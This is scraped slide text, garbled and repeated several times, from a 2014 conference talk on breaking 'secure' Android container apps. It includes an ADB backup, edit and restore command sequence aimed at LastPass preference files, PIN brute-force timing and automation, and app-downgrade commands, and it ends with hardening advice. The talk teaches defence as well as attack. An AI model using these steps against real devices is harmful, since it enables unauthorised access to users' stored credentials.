Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 143: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 144: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 145: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

